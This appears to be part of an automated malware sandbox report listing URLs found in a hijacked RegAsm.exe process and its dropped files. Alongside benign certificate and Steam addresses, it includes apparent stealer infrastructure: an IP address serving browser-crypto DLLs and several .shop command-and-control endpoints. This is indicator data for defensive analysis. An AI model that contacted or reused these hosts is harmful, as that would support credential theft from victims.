Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://ocsp.entrust.net03
Source: MFDBG.exe, 00000008.00000002.4507693462.00000000022E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.3220166068.000000002048D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/freebl3.dllT
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/msvcp140.dllN
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/msvcp140.dllZ
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/sqlp.dllJ
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dllQ:
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dllf:
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/x
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162FCBKF
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162h;
Source: EGIIJD.3.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: EGIIJD.3.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EGIIJD.3.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EGIIJD.3.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&amp;l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&amp;l=englis
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&amp;l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&amp;l=engl
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&amp;l=english
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&amp;l=en
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp;l=e
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&amp;l=e
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&amp;l=english
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&amp;l=engl
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&amp;l=en
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&amp;
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 0000000D.00000002.2962425242.000000000140A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drawzhotdog.shop/api
Source: EGIIJD.3.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EGIIJD.3.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EGIIJD.3.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ghostreedmnu.shop/apir
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://help.steampowered.com/en/
Source: GIJEGD.3.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.s
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962613182.000000000144E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/pi
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
